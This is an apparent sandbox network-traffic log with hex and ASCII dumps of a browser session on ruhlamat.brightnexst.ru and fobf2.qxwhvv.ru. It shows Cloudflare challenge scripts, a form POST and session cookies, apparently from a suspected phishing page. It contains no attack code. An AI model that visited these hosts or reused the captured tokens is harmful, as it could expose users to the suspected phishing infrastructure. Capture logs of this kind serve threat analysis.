2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:26 UTC	644	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://ruhlamat.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:26 UTC	740	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:26 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=Wu9EgPOROElVW1fT05iQYIGL6QOqfO4vVs48kopPgXM-1742285426-1.0.1.1-jMryFsWmIpFc7OqAbK9XdPb1btoY_jUDMLoYx_9B7F3uZ5SiJPz0Nke51ca1.cfhaHqrWke2qxNK4UyhsaoWuUKyV008faXWnCPRw08OWRI; path=/; expires=Tue, 18-Mar-25 08:40:26 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 922340ebfb3f8c4b-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 08:10:26 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-18 08:10:26 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:27 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=Wu9EgPOROElVW1fT05iQYIGL6QOqfO4vVs48kopPgXM-1742285426-1.0.1.1-jMryFsWmIpFc7OqAbK9XdPb1btoY_jUDMLoYx_9B7F3uZ5SiJPz0Nke51ca1.cfhaHqrWke2qxNK4UyhsaoWuUKyV008faXWnCPRw08OWRI
2025-03-18 08:10:27 UTC	435	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:27 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 922340f2dfb64401-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 08:10:27 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-18 08:10:27 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:36 UTC	579	OUT	GET /gando!js8tp4k HTTP/1.1 Host: fobf2.qxwhvv.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://ruhlamat.brightnexst.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ruhlamat.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:37 UTC	828	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wgSN7FD8cIjtn%2BFS8w7CesgKIRLCk9pUhZ8W7Bfq6LtXRyNKVE0rAqbStCQ12AQvJ%2BBBWeKOiIqj3uFKYkv%2BuP%2Fx0%2BaZ%2FhlY23PQvD8swNWk3%2FAZrR3ddNX1tJdn9SHvYME%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9223412b3878c3f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1481&rtt_var=575&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1151&delivery_rate=1869398&cwnd=159&unsent_bytes=0&cid=8b55eceffa15dded&ts=597&x=0"
2025-03-18 08:10:37 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-18 08:10:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:37 UTC	1449	OUT	POST /nmRYy4ssaQWPj7CPMYEm8BmTefH6bqt1U8Yw5 HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive Content-Length: 809 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIIvpAHRHJIkUyYrk sec-ch-ua-mobile: ?0 Accept: / Origin: https://ruhlamat.brightnexst.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ruhlamat.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImJpcGFRRXdBaUdUanBoSUwrdGhneWc9PSIsInZhbHVlIjoiRHp5bVlrZS82VXYwd1F3VjdUemtHYjRzdGZFeEFlbDVHMitrZ1BvWW1VeHhPLzlwWTlhWkh6TjVXaTBNOUIxb2hCMnpLUDNVb0QrWjMyYUF2NC84K1RhUkNwNVFIYmZSZ0lrbkM0TVNjd1lMYkdIUGJuREdXSGkxMHp5YXFibWwiLCJtYWMiOiI1NWY1M2QzM2NkYWExMjc0NTQ1N2RkNjBmOTI4YmNlYzcyNjUwNTA4Y2E1ZTkyNzY4NjEzYWIxYTM2MzY2MjQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRTa0gvczNTUEJ0R0szRkxKbmJVOEE9PSIsInZhbHVlIjoidXp5ZVVOMU1qYzBSQ05BUGJzZHVLUUZvSUU5VEhOS0dJNlJMYTBzd081YkU5UGVIa2tWUUZnaHp1S01xWDFVV294WkJUWnZ1Q0kraHErODdLekFzcDV4S1pGa3ltMjVvVzljMWdDTlh0bFh6N25XVWwwWlIvYTNuNjcva1J6bHEiLCJtYWMiOiJhNmFlY2NjZjAyMzliYzc0MTg0YjczMjAzNWRlMjY1MGNmNDg4ZTJlYjU3MDUyNGRlOGU4YjBhYzFjOWYyYzUxIiwidGFnIjoiIn0%3D
2025-03-18 08:10:37 UTC	809	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 49 49 76 70 41 48 52 48 4a 49 6b 55 79 59 72 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 54 38 78 36 4c 46 31 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 49 49 76 70 41 48 52 48 4a 49 6b 55 79 59 72 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 4a 32 61 44 50 78 42 38 71 45 57 7a 73 44 42 6e 50 59 39 33 47 33 64 4b 46 34 73 31 64 4e 79 37 44 68 6e 32 43 71 73 64 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 49 49 Data Ascii: ------WebKitFormBoundaryIIvpAHRHJIkUyYrkContent-Disposition: form-data; name="bltpg"T8x6LF1------WebKitFormBoundaryIIvpAHRHJIkUyYrkContent-Disposition: form-data; name="sid"J2aDPxB8qEWzsDBnPY93G3dKF4s1dNy7Dhn2Cqsd------WebKitFormBoundaryII
2025-03-18 08:10:37 UTC	1178	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:37 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tvno6c%2F5eXAlA5FwvbQWWVcgZ5klGekO%2FB8ds%2BKgySjorAsDl3hcNjNY54mvTEoG1NTW5%2Ffuj9kp9nt3%2BrlssIdeJR%2FJBGRB6bzjPTYdx8CDj77sMby7hGcVaMYw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1944&min_rtt=1564&rtt_var=779&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=3169&delivery_rate=1844585&cwnd=251&unsent_bytes=0&cid=b98afb2806219060&ts=94&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImJEVklEK0FYTUc2cndWYXV3dVZPVWc9PSIsInZhbHVlIjoiaTVMdjhyZkFxcVk0NkNDamFLbFB4bWdxSkhyUkNrSm1jMWdSYTA1ankzRVFsVSt2M1REUzVLRXlONllFNVRKNFFEcVlVQWwzd0FmWklnT3E4Tkx4UkdXRVhzTVhxeHBwQllCd3VPOEhoSUxsZnhpeit5bnJRQlJmRFZRRXRVV1MiLCJtYWMiOiI3NDBkYWU3M2FhMjJlZmY1MjE5ODU4YjUzZDJhYTJiNWQ4ODk3YmUzNjY0NmEyZWM1NzdhNTk0MDU1YzhiMTI2IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 10:10:37 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 08:10:37 UTC	787	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 39 6b 56 55 70 43 4f 47 6c 7a 5a 6b 56 57 59 30 68 69 57 45 63 33 61 57 63 78 62 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 44 6c 42 4e 32 39 4e 55 7a 56 55 54 45 52 50 55 6a 49 35 54 54 4e 32 52 6a 56 6a 55 46 4a 54 59 6c 6b 33 61 57 55 31 4e 55 31 32 55 30 6b 35 62 54 46 69 5a 30 68 70 52 46 56 53 52 45 39 4a 62 47 64 79 61 32 68 57 62 30 45 7a 5a 57 4e 6d 5a 6a 56 68 53 54 4e 4c 4d 6a 42 53 56 55 52 76 51 6a 5a 79 54 7a 52 36 51 57 49 32 56 33 56 7a 56 47 4e 72 5a 6d 4e 72 61 32 4e 52 4e 54 5a 43 59 57 34 7a 54 32 4e 58 4d 33 5a 53 53 33 56 4d 55 6e 56 4c 4d 45 78 33 55 58 41 79 61 55 51 78 54 6b 46 53 63 32 74 6e 54 43 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im9kVUpCOGlzZkVWY0hiWEc3aWcxb2c9PSIsInZhbHVlIjoiMDlBN29NUzVUTERPUjI5TTN2RjVjUFJTYlk3aWU1NU12U0k5bTFiZ0hpRFVSRE9JbGdya2hWb0EzZWNmZjVhSTNLMjBSVURvQjZyTzR6QWI2V3VzVGNrZmNra2NRNTZCYW4zT2NXM3ZSS3VMUnVLMEx3UXAyaUQxTkFSc2tnTCs
2025-03-18 08:10:37 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-18 08:10:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:37 UTC	392	OUT	GET /gando!js8tp4k HTTP/1.1 Host: fobf2.qxwhvv.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:38 UTC	827	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vvvZWbPc13Kw5Xnd%2F%2FbagTjuriQKiyDB1tgUK%2FbZNWsmMgY2TyQ5OgrBtZYGLUw8hVtEMNSg3x5%2FeErgBCH41WOESOgFdqfJevVFIslJh19WGJ1pSaA%2FhQ%2F1M%2BS3DUUWBGM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92234131d84dc459-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1705&rtt_var=642&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=964&delivery_rate=1701631&cwnd=225&unsent_bytes=0&cid=16b6df497acd27a0&ts=591&x=0"
2025-03-18 08:10:38 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-18 08:10:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:38 UTC	1488	OUT	GET /pax6lf1/ HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ruhlamat.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImJEVklEK0FYTUc2cndWYXV3dVZPVWc9PSIsInZhbHVlIjoiaTVMdjhyZkFxcVk0NkNDamFLbFB4bWdxSkhyUkNrSm1jMWdSYTA1ankzRVFsVSt2M1REUzVLRXlONllFNVRKNFFEcVlVQWwzd0FmWklnT3E4Tkx4UkdXRVhzTVhxeHBwQllCd3VPOEhoSUxsZnhpeit5bnJRQlJmRFZRRXRVV1MiLCJtYWMiOiI3NDBkYWU3M2FhMjJlZmY1MjE5ODU4YjUzZDJhYTJiNWQ4ODk3YmUzNjY0NmEyZWM1NzdhNTk0MDU1YzhiMTI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9kVUpCOGlzZkVWY0hiWEc3aWcxb2c9PSIsInZhbHVlIjoiMDlBN29NUzVUTERPUjI5TTN2RjVjUFJTYlk3aWU1NU12U0k5bTFiZ0hpRFVSRE9JbGdya2hWb0EzZWNmZjVhSTNLMjBSVURvQjZyTzR6QWI2V3VzVGNrZmNra2NRNTZCYW4zT2NXM3ZSS3VMUnVLMEx3UXAyaUQxTkFSc2tnTCsiLCJtYWMiOiI1NWJhM2FmMzkyZGVhZDRlM2E0NGFmZDE2MTM1YWFlYjgyYzVjNTVmNTA5ZGQ0Y2UwYzZkNzhmOWFhZTY5Y2E4IiwidGFnIjoiIn0%3D
2025-03-18 08:10:38 UTC	1204	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6xYb5LiJHH9HFN91hhktJPlMTaQahxyQimsVfHfqbFgp0p18pj2xXVl%2FH6MlyiwuwiHLbjaaVvhVJXmHD9nmR82BCq2QEB%2BECtxZTLSXdHM4M1xbl4oAv5McH0j%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1026&min_rtt=1011&rtt_var=312&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2391&delivery_rate=2661764&cwnd=251&unsent_bytes=0&cid=99bab1094e9a1c11&ts=122&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Imgwc1Z3elN2QVRaMGp4TnRNczBhVGc9PSIsInZhbHVlIjoiam9jRW9BYVM3UlEvUG1TTk9tWGh6QVR0UzN6TGsvSmlBcnhSSnpjNEZQOVZWUVg5dWpPd2dCdkZsOEd4cHVhUkFVL2syM0MxMmFkTUV1VkJFUnFtQW1RTWcwK2pkc21QMUZlS21yUUtacERYOHlESFR3aUErUWFwRGtJd3VSdU8iLCJtYWMiOiIwMjdhYmIwYzZkOThiNDhmNjAzMDE5OTE2OTUyMTE5YzIyNWUwNDcwZGMwODcxYTIwYjAwZTRhNjYwOTE5OTFmIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 10:10:38 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 08:10:38 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 68 4c 53 45 45 72 55 46 42 32 55 69 74 68 56 57 70 6b 5a 6d 35 71 52 58 56 73 4d 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 57 31 49 51 32 70 44 54 6d 6b 30 57 6e 64 52 52 43 73 31 57 48 67 72 64 48 49 78 65 57 56 46 56 58 68 36 64 58 68 69 55 6d 52 70 57 57 56 4a 65 6b 78 4d 61 46 56 73 63 47 4a 6a 51 54 4a 43 5a 32 5a 55 5a 31 52 46 55 58 4a 57 4e 6b 68 78 64 6c 4a 55 62 58 5a 4a 56 57 56 6d 4d 6d 52 58 64 6d 5a 50 59 6b 52 42 63 7a 64 4b 62 6e 70 71 4b 32 5a 77 51 32 70 32 5a 47 68 77 4d 69 39 55 62 47 56 70 53 45 39 6e 4e 6d 6c 4a 64 6c 41 35 53 6d 64 54 61 32 49 33 4d 6a 64 73 4d 7a 64 45 65 46 4e 30 56 57 64 78 52 58 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjhLSEErUFB2UithVWpkZm5qRXVsMnc9PSIsInZhbHVlIjoiQW1IQ2pDTmk0WndRRCs1WHgrdHIxeWVFVXh6dXhiUmRpWWVJekxMaFVscGJjQTJCZ2ZUZ1RFUXJWNkhxdlJUbXZJVWVmMmRXdmZPYkRBczdKbnpqK2ZwQ2p2ZGhwMi9UbGVpSE9nNmlJdlA5SmdTa2I3MjdsMzdEeFN0VWdxRXk
